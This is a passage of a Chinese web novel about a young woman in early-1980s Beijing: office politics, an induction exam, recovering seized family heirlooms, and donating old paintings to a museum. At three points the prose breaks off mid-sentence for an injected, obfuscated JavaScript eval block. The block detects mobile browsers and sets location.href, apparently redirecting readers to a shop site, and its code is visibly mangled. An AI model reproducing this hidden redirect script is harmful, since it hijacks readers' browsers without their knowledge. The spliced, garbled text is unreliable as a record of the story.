祝镕却有另外的看法。食堂的饭菜再好吃,也是大锅饭,总是不如家中饭菜精致。而且都是提前做好端出来的,等她们下班进入食堂,早没了锅气。天气冷凉的快,天气热又怕坏,天天吃肯定就不好吃了。 所以祝镕提出让她去军区住。 “或者,让姑婆去四合院?而且妈也经常在四合院住着,你们老中青三个女人一起作伴,下班还有热乎饭菜,多好。”祝镕越想越觉得这个主意不错。 “那爸爸怎么办?回家岂不是没饭吃了?”符伊年说到。 领了结婚证办了婚宴,符伊年终于肯改口了,还在祝镕的帮助下,拿到两个大红包。 “爸爸下基层去了,就算回军区也可以去吃食堂,反正他有小灶吃。”祝镕很无所谓的样子,“你和妈妈比较重要。” 符伊年:……“你说这话,就不怕爸爸知道了揍你吗?” 说来说去,符伊年最终也没有决定下来到底是请姑婆住到四合院,还是自己去军区住,“反正才上班第二天等我吃厌了食堂再说。”语气中是她自己都没感觉到的撒娇和无赖。 眼看着时间差不多了,两人又说了几句后,互相道别,符伊年又出门去上班了。到了单位,看到哪个早上放回去后就没被碰过的暖壶,符伊年想了想,打算去打壶热水。 提起来才发现水壶里已经满了。 符伊年:哪位仙女做的好事呀。 116. 捧杀 第一一六章 这个世界当然没有神仙,仙男仙女都没有。 下午上班,同事们陆陆续续回来,各自在自己的位子上坐下,继续自己上午的事,或者抄写材料,或者整理资料,要么就看看报纸和专业书籍。 倒是没有符伊年以前在纺织厂时的那种织毛衣、做鞋垫的现像。 因为还没出正月,京城气温还很低,暖气还在供应,所以办公室里穿不住羽绒服和棉袄,大家都是直接一件毛衣就行了。 符伊年一开始也是,不过第二天她就在毛衣外面另外加了件外套。没办法,谁让她是新人呢,新人就是要坐门口的呀。 昨天入职后,领导人事处的同事给了符伊年还有另外一个新来的同事一人一份资料,告诉她们要尽快记下来,“三月末有一场给新同事的考核,考核内容都在这里头。” 资料不厚多,其实也就三页,但这三页却并不是详细的考核内容,而是概略。第一页罗列了各种各样的规章、条例的名称,第二页是农林部各机构的设置和职责,第三页则罗列了十几本书籍名,内容涉及公文写作、办公指引等等多方面。 人事处的同事还说,附楼的一二楼是内部阅览室,可以借阅资料,资料可以带出资料室但是不可以带出单位,登记好借阅时间和人名就行,最长借阅期限是一个月。 符伊年借到了大部分,还有一部分被其他同事借走了看,阅览室的管理员老师说,有几本快要到期限了,她可以过几天再来。 现在她正在背的就是之前借的资料,而且,为了下班后也能看,符伊年还找了个笔记本抄写——她没有自己划重点,而是全盘抄写全部背诵,没办法,她运气不好,自己划的重点从来不考,所以后来她就不划了,统一的“重点就是全部”。 下午上班,符伊年从抽屉找出自己的笔记本准备继续抄写,才写了几个字,就发现桌边有个身影挡住了光线。 符伊年抬起头,发现站着的是李姐,她露出一个笑容,“李姐,有事儿吗?” “小符啊,”李姐拖着嗓音慢悠悠的,“上午让你去打水,你怎么没去啊?” 符伊年眨眨眼,“当时领导来了。” “那你应该中午去啊。”李姐用责怪的目光看着她,“害的我中午都没水喝,只能自己去打。” 嗯?符伊年瞪大了眼睛,“噌”一下子站了起来,把李姐吓了一跳,“干嘛?!” “原来您就是那位利用午休时间打满开水的小仙女啊!”符伊年握住李姐的手上下晃了晃,语气夸张,“您可真是个好人,今年的‘学雷锋’评选我一定给您投票,您可真是这个!”符伊年竖了个大拇指给她。 顿了顿,符伊年假装好奇地问:“那个,李姐,你找我有什么事儿吗?” 李姐嘴巴动了动,摆了摆手,“没事,就是告诉你明天不用你打水了,我自己打。” “哦。”符伊年露出个失望的表情,“还以为有机会学雷锋做好事呢,看来这个‘新时代新雷锋’称号注定是李姐的了。” 李姐嘴角不断上扬,显然被符伊年奉承的心情很好,但她还是极力控制着,假装不在意地“嗯”了一声,“等你以后到了我这个位置,也有机会的,”说完拍了拍符伊年的肩膀让她坐下,“你忙吧。”自己转身走了。 李姐一离开桌边,光线就恢复了,符伊年也对上了办公室里其他几位同事的目光,她冲着她们微微一笑点点头,又继续低头去抄写资料,自然也就没看到同事们露出的吃惊和佩服的目光。 果然,之后的一段时间,办公室的开水都是李姐打回来的,有时候来的早,还帮别的办公室打水。 不知道是不是受符伊年的启发,办公室里的所有人一下子变身成了夸夸机,而且不只是在李姐打热水的时候,还有她办公室擦桌拖地的时候、去送资料询问是否需要帮忙的时候…… 每个人都对着李姐夸个不停,夸她“第一好人”“新时代活雷锋”“心善人美”……好话像是不要钱一样全都说给了李姐听。 符伊年看着李姐在众人的夸赞中越来越飘飘然,做的事越来越多,心里有一丝丝愧疚,但是又很快消失不见——当初她折腾其他新来的同事时,怎么不见她有丝毫愧疚呢? 这种情形一直持续到三月初,单位的开展“学雷锋、做好事”的评比,李姐果不其然地被推荐上去成为本科室的“学雷锋”代表,还“不负众望”地捧了张奖状和流动红旗回来。 回来的时候整个办公室都起立为她鼓掌。 李姐更得意了,之后的一段时间,她故态复萌,又开始了指使办公室其他同事的行为,包括但不限于符伊年。 话里话外都是“这荣誉是我得的”“我是办公室的功臣”“你们都是沾我的光”等等这样的意思。 不过,这一次没有持续太久,几天之后办公室主任就用话点了李姐,示意她虽然得了奖状和称号,也不要骄傲自满,“要再接再厉,百尺竿头更进一步才行啊。” 李姐答应的可好了,也做了保证,甚至写了一张“百尺竿头更进一步”的纸条压在桌子上,用来告诫和激励自己。 别说,这一套连环招下来,李姐还真再没有过,一直挺谦和的,于是办公室的气氛越加融洽,到了年末还被评为了最佳科室。 当然这都是后话,符伊年目前最重要的事就是准备月末的入职考核。 这一个月里,符伊年在单位没什么大事,重要工作也轮不着她,她主要就是准备考核,按说这种上岗培训应该由单位来主办,但是因为体制内也在改革,去年就已经在试行了,效果不错,今年就继续施行。 考核的时间在最后一个三月二十九日,刚好是周六,下午下班前的两个小时,一个小时笔试,一个小时面试。 听了这个安排,符伊年更疑惑了,不过也没有想太多,继续低头看资料——临阵也要磨磨枪,谁知道猜中哪个考点呢? 笔试其实不难,除了资料上划定的,还有一些是符伊年大学的专业知识,有些甚至在期末考试里都出现过。符伊年自觉答得都还不错,得分应该能有八九十分。她只是对面试心里没谱,因为是第一次,没有前辈经验借鉴。 考号按照姓氏首字母排列,符伊年很“幸运”地,排在了第一个。 “也好,早死早超生。”符伊年心想。 面试一共两道题。第一道题是考生通过抽签得到一段英文文章,要求她读出来并让翻译,符伊年大概浏览了一遍,发现很多专业名词,不过对于她来说都是认识的,因此读的还是很流利,翻译的也比较准确。 符伊年看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603179|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到几位老师微微颔首,应该是比较满意的吧。 第二道题就是老师提几个简单的问答题,用英文。符伊年也回答上来了。当然,所谓“简单”其实是对于符伊年来说,据其他几个新同事说,还是挺难的。 考核成绩很快就出来的,没有给具体的分数,只排了名。令符伊年比较沮丧的是,本来她一位自己发挥挺好,榜首毫无意外,可是最终只排在了第二,而更令她完全没有想到的是,竟然还有人被淘汰。 实在有点让人摸不着头脑。 无论怎样,进入四月份后,符伊年开始接触到一些专业的工作,让她终于有了一些“上班族”,不,“打工人”的实感。 而符伊年的第一份工作是,抄写一份领导交给她的文件,明天提交给更高的部门。 因为这个时候还没有电脑,打印机倒是有,但是属于高级部门使用,像符伊年他们这种小办公室,是没有机会的,而所有提交上去的几乎都是手写的。 以前办公室专门写文件的是一位名为郭齐音的男同志,据说祖上是专门给皇帝写奏折的,不知道真假。但是符伊年见过他的字后,猜测大概率是真的,他的字,非常像那种传说中的“馆阁体”,就是古代专门写文书用的字体。 符伊年一直不觉得自己的字好看,毕竟相比祝镕的,她的字还是略逊一筹的。没想到居然在单位被“赋予”了这么重要的任务。 后来符伊年跟领导问起这个事来,领导的回答让符伊年哭笑不得——“字还算可以,主要是你是新来的,总要给大家分担些事。” 符伊年:好的,懂了,替补就是我。 这样的工作符伊年一共做了两个月,直到“七一”。为了庆祝建党纪念日,单位开展了一系列活动,有征文还有知识问答。作为新人,符伊年毫不意外地又被抓了壮丁。 符伊年觉得现在这样的工作,其实和擦桌扫地打水零报纸没有差别,都是干杂活。这样下去,她什么时候才能施展抱负呢? 不过对此,早就毕业分去二炮某部队任团长的祝镕比较有心得,“刚工作,总是要经历过这么一段的,也是一种锻炼,都是积累,所谓‘厚积薄发’,到一定的时候你就会发现,这些都是准备和台阶。” 符伊年对这些道理也很清楚,只是一时转不过弯儿来罢了。 两人又聊了些最近的日常,马上要挂电话的时候,祝镕突然喊住了她,“对了,最近如果有人喊你去俱乐部或者参加舞会什么的,就先别去了。” 符伊年一愣,“你这时在我身边安监控了还是插眼线了啊,这几天还真有人喊我去参加舞会。” “你没答应吧?”祝镕立刻追问到。 “当然没有。”符伊年回答,倒不是因为祝镕不同意,他从来不再这方面限制她,是她单纯不喜欢这种活动。 不过符伊年还是很奇怪,“你怎么突然说到这个了?出了什么事吗?” 祝镕沉吟了片刻,“有人在利用开舞会的机会,进行犯罪活动,现在还没公开,但是事情确实已经很严重了。” “真的假的?”符伊年很是吃惊,“什么人这么大胆?” 祝镕没有说,但是符伊年最终还是知道了。八三年新年伊始,有消息传来,某位开国领袖的孙子,因为聚众犯罪被逮捕了。 117. 归还 第一一七章 一九八三年新年,符伊年还得到了另外一个消息,是一件意料之外却又在情理之中的事。 新年当天是周三,挨不着周日,便只有这么一天的假。最近天气冷,符伊年不太想出门,婉拒了管方去北海公园滑冰的邀请,猫在温暖的家里看电视。 电视是上周买到的,樱花国松下牌彩色电视机,24寸。质量不错,画面效果很好很清晰,花费了符伊年两千块钱,是她住进四合院一来消费最大的一笔购物了。 倒不是符伊年不支持国产,主要是这个时期国内的彩电产量还非常低,仍然是凭票或者凭资格购买的,而且尺寸小,画面也不够清晰,听买过的人说,经常有雪花。 所以符伊年和祝镕商议过后,请人从深圳捎了一台樱花国的松下彩电回来。最开始符伊年想把彩电送去军区家属院,就当孝敬长辈。 不过这个想法被容院长拒绝了。 “你爸下基层的时候多,我住四合院的时候比较久,”容院长的理由很充分,“讲利用率当然是放四合院好。” 祝军长也是这样的说法,“我除了新闻联播,也不看别的,就放四合院。” 二比一,符伊年妥协。 什么?你说祝镕的意见?那不重要,不在家的人没有资格发表意见,听着就行了。符伊年这样告诉祝镕。 祝镕能说什么呢,当然只能听着。 随着时间推进,改革开放的加深,电视台的节目和形式也多了不少,只不过这个时候电视剧和综艺节目比较少,倒是不少港台影视剧的录影带开始传入,听说外面还有录像厅,专门播放这些港台的影视剧,一集几毛钱。 符伊年当然不可能去外面看,也买了录像机,只是还在路上还没送到,等送到了她也就有电视剧看了。 看着电视嗑着瓜子,符伊年觉得自己的生活还挺悠闲的。然后这悠闲的假期就被一通电话给打破了。 打电话来的是老家的七叔,告诉了她这个很意想不到的事情:符家被抄走的物件还回来了。 符伊年听到这个消息的时候,还挺好笑的,说:“七叔你别逗我了,又不是封建社会,还抄家?大清早亡啦!” 七叔无语了一会儿,给她详细解释,“你应该不知道,十五年前的事情了,那时候你爸还不是工程师,你大爷爷的事迹也没什么人知道,因为符家以前大地主嘛,小将们就来抄家了,你爸爸也差点被打倒,后来不知道怎么查证出来了,你大爷爷参加了抗日和解放战争牺牲的,这才勉强没有戴高帽挂牌子游行。” “不是说符家早没落嘛,”符伊年一直以为符家就一座空宅子,别的啥都没有了呢,“都抄走了些什么啊?古董多吗?值钱吗?”就算是从进士老祖宗那里算,也是一百来年的呢,也是古董。 “没落了也是有钱的,瘦死的骆驼比马大,”七叔其实也不知道具体都抄走了什么,“总归就是金银玉器、书画古玩之类的吧。你抽空回来一趟,去县革委会把东西领回来,告示说到一月底逾期不领视为无主,上缴国家了就。” “哦,知道了,我找时间回去一趟。”符伊年应下了一句,又关切了一番五叔爷爷的身体,得知老人家冬天得了一次伤寒后就一直卧床,心里咯噔一下子,“要不要来京城看看?京城好大夫多。” “就是年纪大了,这疼那病的,免不了。”七叔叹了一口气,又叮嘱符伊年早些回去把事办了。 这周肯定是来不及了,符伊年请了下周六的假,加上周日一共两天,时间可能紧张一点。 唉,什么时候才有双休啊。一周上六天班,周末好不容易休息一天,还要打扫卫生,或者其他走亲访友的事。虽然困扰和问题这些符伊年都没有,打扫卫生她有请钟点工,亲友们也都十分繁忙,没那么多时间走动。 但是这些问题对于普通上班族来说,都是摆在眼前的事儿,若是有了双休,普通工人回轻松很多,符伊年到现在还记得有个相声提到双休说好,因为女婿回岳母家“一天的活两天干,还能白吃六顿饭”。 符伊年回安县不是自己开车回去的,祝镕找人买了软卧的车票,又找到柳旻借了一个保安,陪同她坐火车回去的。 祝镕说最近外头治安不是很好,出了很多□□的案件,尤其是一些偏僻的省道市道,甚至还出过几次命案。 “宁可火车时间久点麻烦点,也不要冒险。”祝镕劝说到。 符伊年没有反对,她还记得上一次回安县的路上被人用动物碰瓷讹诈的事,很听话地服从了他们的安排。 周五晚上卧铺出发,周六清晨到达安县,符伊年没有回化工厂家属院,找了一间招待所洗了一把脸,然后等到上班时间直接去了县革委会,哦,现在叫县政府了。 县政府大院里已经聚集了不少人了,符伊年大概听了一下,几乎都是来领取曾经被抄走的物品的。 这个时候已经腊月了,天气寒冷北风呼啸,大家都聚在背风的屋檐下,有的蹲着有的站着,或者戴着手闷子,或者两手揣进棉袄袖子里。 符伊年走过去在默默在队伍末尾站好,心中庆幸自己走时听从容院长的话,找了祝镕旧的军大衣穿上了。说是旧的,其实有□□成新呢,只是他现在到了新的部队,一切又要发新的了。 等了一会儿,终于有个工作人员出来,说按名字喊,喊到谁谁进去,要准备好户口本或者介绍信,“如果发现冒领的,隔壁就是公安局,进去蹲三天再说!” 人群里纷纷响起“那不能!”“不会的!”等类似的声音。 “谁冒领啊,多缺德。”一个戴着雷锋帽的年轻人在地上吐了口吐沫,嘀咕到。 他身后一个大娘却笑起来,“小伙子年轻啊,还真有,昨天就有人来冒领了,结果被人家公安局识破了,关起来了。” 不知道是谁家,这么倒霉,人都死绝了,还要被人冒领物品。 符伊年没等太久就轮到了自己,一开始她还没反应过来,因为工作人员喊的名字是“符志宏”,她正低着头看蚂蚁搬家呢,是柳旻借来的保镖上前提醒的她,她这才回了神,急忙举手,“在这里!” 符伊年的户口因为考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612504|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学已经从化工厂家属院迁走了,不过她保留了旧的户口簿,还有公安局的档案做证明,很容易就通过了,签了名字,得到一张物品名录,然后去旁边的房间领东西。 符伊年心头怀着好奇过去了,想知道这东西怎么领,是分门别类呢还是堆放在一起自己找呢? 结果都不是。隔壁房间的地上堆放着几个大小不同的麻袋,每只麻袋上都有名字。符伊年很快就找到了写着“符志宏”名字的麻袋。她张开麻袋口看了一眼,里面有字画摆件也有瓷器玉器,好像还有些首饰。 符伊年没敢仔细看,很快就将麻袋重新绑好,她看向门口守着的一位工作人员,“同志,我能找人帮忙吗?东西太重了,我自己搬不动。” 得到同意后,符伊年请跟来的保镖过来帮忙把麻袋搬出来送回招待所。 麻袋搬回招待所后,符伊年以最快的速度和名录上的物品核对了一遍,然后将大件的摆件和书画装进一个木箱子里,而那些金银玉器则全堆进了行李箱里。 装好后几人立即退房乘坐火车回了京城。 倒不是符伊年有被迫害妄想症,实在是这些东西太多了,而且说是价值连城丝毫不夸张,麻袋从里面搬出来的时候可是不少人看见了。若是有人趁机打劫、谋财害命,那可就遭了。 一夜火车,周日上午的时候回到了四合院。符伊年谢过保镖并一人给了一个一百块的红包——虽然柳旻给他们发工资,但是符伊年也不能白用人。 等人都走了,符伊年才拿出那张物品名录一样一样仔细核对物品。 这里头最多还是字画,倒也不是什么名家字画或者古董字画,大部分都是符家进士老祖宗自己的手迹。不过一百来年下来,也算是古董了。 字画之外的大件,是一座雕刻精美的木制神祖楼和一套锡制供奉摆件,分别是两只鹿形灯柱、两只象形供盘,还有一只三足盘双龙的香炉。 符伊年研究了一下,猜测这神祖楼应该是祭祀祭拜的神位,而这套锡五供是供奉在楼前的、象征美好祈愿的摆设物品。 估计这一套,应该是供奉在符家祠堂的。 除了这些,还有些精致的金玉首饰,光玉佩就有四对,鱼形的、蝉形的、葫芦形的、莲花形的,都是成双成对的,还有四枚白玉和翡翠扳指,看着成色都不错,另外还有十几枚戒指,福字的、喜字的、福寿纹的、嵌珍珠的……一共十一枚。 除此之外,名录上还记载了些其他的瓷器和玉器,比如翡翠翎管,这个标注的是遗失,还有一堆青白釉花瓣纹小罐,这个的标注是损毁。 符伊年不知道这些标注是否是属实的,如果是真的,那就太可惜了,都是古董啊,尤其那枚翡翠翎管,怕是符家进士老祖宗用过的物件。如果是假的,那大概是被人私藏了吧,不过好在没有损毁,也算不幸中的万幸了。 符伊年将这些东西分门别类的整理好,重新装好,书卷画轴装在木箱中,神族楼和锡五供装在一个大木箱中,其他的金玉首饰等则装在木匣子里,然后符伊年开始考虑起对这些物件的处置。 118. 捐赠 第一一八章 都说没有人嫌弃钱多钱咬手,可是有些东西拿在手里是真的烫得慌、扎得疼。 箱子里的这些东西,它们属于符家,并不属于符伊年,她只是去把这些东西从曾经掠夺走它们的那些人手里领取、带回来,可是她并无权处置。 而且也不太好保存。尤其是那些书画卷轴,符伊年刚刚打开看过,不知道是年代久远的缘故,还是因为保存不善,有些字画被污染被损毁,已经处于亟需修复的状态了。 这个需要专业人士和专业材料才行,符伊年恐怕无能为力,即便借助祝家的资源和人脉,也很难。 正在思索着,猜测她应该回来的祝镕打来电话,祝镕先关心她的安全和此行是否顺利,得知一切都很顺利,而且她是按照他的叮嘱当日就返程的,祝镕大大地松了一口气。 接着就听到符伊年一声长叹,祝镕奇怪,“不是一切都很顺利吗?怎么开始叹气?” “我有点发愁,”符伊年把自己的心思说给祝镕,“这些东西,尤其是那些书画,我想捐出去。” “捐出去?”祝镕吃了一惊,“怎么会有这样的想法?书画受损了,我们找人修复就好了,没必要捐出去吧?” 符伊年却有不一样的看法,“修复这种东西要专业人士,这样的专业人士多半一惊被国家网罗去了,民间的未必是高手,万一没修复好反而更糟糕怎么办?还有就是后续保存的问题,有些画卷很难保存的,要有适宜的温度湿度,保存不当的话就彻底毁了。” 也不是没有过这种例子,考古发掘的时候遇到了书画纸张,结果保存不当损毁了,要修复起来也很费力的。 祝镕之前只听说过古代书画的珍贵,对纸张的保管保存不了解,这是第一次听说还有这么多讲究,听起来自己保存确实不合适,不过,“那你真要捐啊,捐出去就再也拿不回来了。” 符伊年犹豫了一会儿,最终下定决心,“捐!”顿了顿又强调,“不过只捐书画。” “哈哈哈!”祝镕大笑起来,“我还以为你打算都捐呢。” 符伊年丝毫没有脸红的意思,十分的坦荡,“我也是俗人哪,当然喜爱黄白之物了。”不过,现在不捐不代表以后不捐,说不定等什么时候她想开了,就都捐了呢。 “我和你说,里面有一对白玉雕龙凤纹镇纸,我打算留下来送给爸爸和妈妈,情侣款,多好。还有一个碧玉笔筒,这个可以送给表舅,表哥表嫂就送一对龙凤戒指,小表侄送他一枚玉佩好了。”符伊年美滋滋。 “那我呢?”祝镕听她送这个送那个,就是没提到送自己,不禁有些酸。 符伊年一愣,“啊?你?我的不就是你的吗?” 祝镕:心满意足了。 其实,主要是符家算是书香世家,从清末进士老祖宗那会儿到符志宏,除了符志宏的伯父投笔从戎,全都是读书人,没有祝镕能用的物件。 符伊年想着等以后条件成熟了,给他搜罗个古剑或者匕首什么的,比较符合他的身份。 两人聊了几句又重新回到捐赠事宜上。捐赠文物,姑且算是文物吧,当然不是说抱着卷轴去博物馆/图书馆,人家就会收下的,那样的话谁都能去了。 “肯定会有要求的,比如年份啊,或者研究价值什么的,”符伊年想了想,自家这些东西最多也就一百来年,进士老祖宗也不出名,“价值恐怕没那么高,怕是不会收的。” 祝镕对这种说法表示诧异,“一百来年还不算有价值啊,你是捐赠出去搞研究,又不是卖古董。” 符伊年想想也觉得他说得有道理,打算找个休息日带着这些东西去博物馆试试。至于图书馆,恐怕不太容易,毕竟图书馆主要用途和目的是给人借阅书籍的。 到最后电话要挂的时候,符伊年忍不住问祝镕:“你什么时候才回来啊?” 祝镕轻笑了一声,“想我了?” “嗯。”符伊年是不会害羞的,在她看来,思念就要说出来,吞吞吐吐的多没意思。 祝镕在心里计算一下子,春节怕是不行,毕竟才到新部队半年,而且听说团政委已经三年没回家过年了,轮也轮到人家了,“要不,你春节的时候来探亲?部队春节也挺有意思的。” 符伊年考虑了两秒钟,接受了这个提议,“那我去之前给你打电话哦。” 既然要捐赠,那总不能抱着一堆卷轴直接找到博物馆去,总得先知道博物馆大门朝哪儿面开吧,所以符伊年选了一个工作日的午休时间,去博物馆咨询了相关捐赠的事宜,甚至还带了一幅一尺见方的画卷。 博物馆的工作人员听说符伊年是来咨询捐赠事宜的,表现的十分欣喜和欢迎,立即将人请到了会客室里,“同志请坐,我去找馆长过来。” 馆长来得很快,见到符伊年立即笑容满面,主动伸手和符伊年握手,“你好你好,请问同志贵姓?” 符伊年赶忙起身和馆长握手、问好:“馆长好,免贵,姓符,符伊年。” 馆长在椅子上坐下,示意符伊年也坐,“苻?苻坚那个苻?” “从竹,不是从草,”符伊年虽然知道苻坚很出名,但是姓氏这个还是不好混淆的吧。 馆长点点头,问起符伊年打算捐赠什么东西,什么年代的,保存的如何。 “想捐赠一批字画,应该是清末的,是我父亲的爷爷的父亲和祖父的手迹,”符伊年不好意思地抠手,“我不知道应该称呼高祖还是什么。” 馆长点头,“嗯,没错,是应该称呼‘高祖’,还有一个应该称呼‘天祖’,你刚刚说‘一批’,很多吗?” 符伊年点点头,从包里拿出带来的画卷,“是最近才归还的,保存的不好,我不知道怎样修复,接下来又怎么保存,而且,虽然不知道到底有没有研究和文化价值,但是总归是一百年前的东西,或许也算古董。” 说话间,馆长已经戴上眼镜,手上也戴了一副白手套,正小心翼翼地打开符伊年带来的画卷,仔细地看了起来。 符伊年也站了起来,在一旁不敢出声,盯着馆长的手势和表情,想看出些什么来。 馆长对画作研究了好一会儿,直起身摘掉手套和眼镜,重新看向符伊年,“你说你的姓氏从竹不从草,那你知道你的祖籍是哪里吗?” “额,户口本籍贯是北江省安县,但是据说祖籍不是。”符伊年并不清楚馆长这个问题的用意,但是还是回答了他,这并没有什么不能说的。 “如果我没猜错,”馆长直起身来看向符伊年,“你的籍贯应该是山东琅琊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627406|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,古时名为‘琅琊郡’。” 接着,馆长给符伊年讲了一通关于“符”姓的渊源和变迁、传播。 原来,“符”这个姓还是个非常有历史的姓氏。 据馆长介绍,“符”姓源流单纯,出自姬姓,周族始祖后稷的后代,以官名为氏。 “根据《元和姓纂》记载:‘鲁倾公孙公雅,为秦符玺令,因为氏琅琊。’”馆长还引经据典找到了出处,“意思就是说鲁倾公有个孙子叫公雅,后来在秦国担任符玺令,其后人便以符为姓。‘鲁’你知道吧?” 符伊年:“知道,山东的简称。”这个算是常识吧。 “对,”馆长继续解释,“这个鲁倾公呢,是战国是鲁国的末代君王了,到他那个时候鲁国其实已经三十几代了,往前追溯的话,他们的老祖宗叫姬伯禽,周文王姬旦的儿子,姬旦你知道吗?” 符伊年愣愣地摇头。 馆长:“姬旦是姬昌的第四子。” “啊,我知道了,”符伊年突然叫出了声,“《封神榜》是不是?纣王乱政后周武王伐纣!周武王是姬发,也是姬昌的儿子,所以他们是兄弟!” 《封神演义》嘛,光电视剧就许多版本,后来还拍成了电影,票房好几十亿呢,非常叫座。 符伊年思索了一会儿,恍然大悟,“所以,‘符’姓其实也是‘姬’姓?是周王的后代?”倒推几千年前,我还是贵族呢啊。 馆长大概觉得话题有点跑偏,急忙带了回来,“你们家里大概搬迁过很多次,加上后来动荡年代,有些资料遗失了,所以你不清楚。不过,你父亲也不知道吗?” 馆长刚刚就很疑惑,这段时间也有人捐赠文物到博物馆,但都是上了年纪的人,最年轻也有半百了,符伊年这么年轻的还是头一个。 “我父亲牺牲了,家里就我一个。”符伊年也不知道符志宏到底知不知道祖上的这些渊源,或许改天可以问问五叔爷爷。 “你看这里,”馆长指着画卷左下方的一个印章,“这两个字应该是个‘姬思道人’,应该是作者的号。” 符伊年若有所思,“所以,这些书画作品,其实还是很有价值的,是吗?” 馆长郑重地点头,表情也严肃起来,“是非常有价值,文化、民俗和历史的研究价值,比如字体、画技的流派研究,比如符氏族人的繁衍、迁移、传播,这些都非常重要。更重要的是,经济价值也很高,就以眼前这幅画论,拿去拍卖说不定能卖几万块。” 符伊年其实没听到馆长后面的那句话,她听到前半句后就十分开心了,心说:看来博物馆就是这些书卷画作的正确归宿啦! 谁知,馆长话音一转,问道:“听了这么多,你还愿意将东西捐赠出来吗?” “捐啊,当然要捐,”符伊年理所当然地说,“放在我家只有我一个人知道这些书画的价值,也只能我一个人欣赏,可是捐给博物馆,像您说的,研究价值就非常重要,说不定以后还能公开展览,让更多的人欣赏这些作品,也算是我为中华文化做些贡献。” “好!”馆长很激动也很欣喜,一把握住符伊年的手,“符同志,感谢你为国家文化历史传承和传播做出的贡献,我们一定会保存和守护好这些文物,也守护好历史守护好文化传承。” 119. 红红火火 第一一九章 对于符伊年要将归还给符家的字画等文物捐赠给博物馆,祝镕没有任何意见,容院长在确认过她是真心实意要捐赠后,也没有话说。 于是,符伊年在周末那天将所有的书卷画轴都送到了博物馆,准备捐献给博物馆。 符伊年本来以为送到后双方清点记录签字,就完事了。然而没想到的是,博物馆馆长竟然请了记者和摄影师过来,说要好好报道这件事,弘扬符伊年大公无私的精神和大义,号召全社会都向符伊年学习。 符伊年这时候才有些不好意思的感觉,“也太兴师动众了,会不会太高调了?” “你不想透露姓名的话,我们可以用化名。”记者在一旁提议道,这条新闻太有意义了,她们不想错过。 符伊年听到这个建议,立刻点头答应下来,“这样好,这样好。”这样既低调又安全,不引(坏)人注意。 因为符伊年的要求,捐赠仪式比较简单,先是双方清点书画的数量和名目,然后一一登记。 也是直到此时,符伊年和馆长才发现,这些字画里不光有清末时期的,还有更早的,最早的一张竟是明永乐年间的山水画,只是作者不出名,所以被忽略了。 画作不多,一共八幅,全都是装裱好的,有山水有花鸟有猛兽有人物,有长卷有短作,倒是书册更多些,共有十二本,分属四套不同的书目,但是据馆长仔细辨别后说,有些每一套都不全。 “要么是被人私藏了,要么被损毁遗失了。”馆长叹了一口气,十分的惋惜。 “所以,秦馆长,书册的缺失这会有什么影响吗?”记者见缝插针,提出问题。 秦馆长点头,“当然会有影响,比如这套《富城河川考》,作者记载了很多关于富城治理洪水和河道改变的记载,可以以此来考据富城的水利历史,当时但是只有三四卷,缺失一二卷,甚至有没有第五卷第六卷,我们都无从可知,信息缺失严重。” 秦馆长在一旁接受记者的采访,符伊年就站在一旁,眼睛看着旁边工作人员做记录,将所有的书画全部登记好,有损毁的标记下来送去修复,没有的就送进仓库保存或者送道研究室研究。 一切都做完,记者对秦馆长的采访也结束了,接下来就是秦馆长给符伊年颁发证书和锦旗。 有证书这个是在符伊年意料之内的,但是给锦旗就有点隆重了,符伊年连连表示“受之有愧”。 “不怕你笑话,其实是想借你这件事搞一波宣传,”秦馆长有些讪讪的,“如今考古都是抢救性发掘,书画尤其少,民间收藏很多……” 符伊年听到这里就明白了,当即表示理解,很痛快地收下了证书和锦旗。交接的时候,记者还上前拍了照片,侧面照和符捧着证书和锦旗的正面照都拍了好几张。 本来符伊年不想曝光隐私,甚至要求记者报道时最好姓名都是用化名,结果不知道是博物馆还是报社找到了容院长,又与祝军长商议过后,还是用了符伊年的本名,还有当时拍摄的正面照。 所以有一段时间符伊年成了科室里的“名人”,不少人接口送文件来看她,甚至还有很多人在路过办公室的时候驻足看一眼,看看到底是谁那么大方,一下子捐出去那么多书画,也想看看,这样的“大户人家”居然没被打倒,甚至还能进部委工作。 符伊年很无奈,但是又不能拦着,因为人家也没有说就是来看她的。符伊年对办公室的同事有些抱歉,觉得打扰到了他们的正常工作,只好把祝镕寄回来的一些西安特产比如杏干果脯糕点什么的,带到办公室给大家分一分。 吃人嘴软,何况本来也不是符伊年的问题,大家当然不会计较,甚至觉得符伊年很会做人,对她的印象更好了。 书画捐献过后没两周,就来到了春节。今年的春节和往年不太一样,这一年央视第一次以现场直播的形式,在除夕的晚上,举办了一场晚会,名字就叫《春节联欢晚会》。 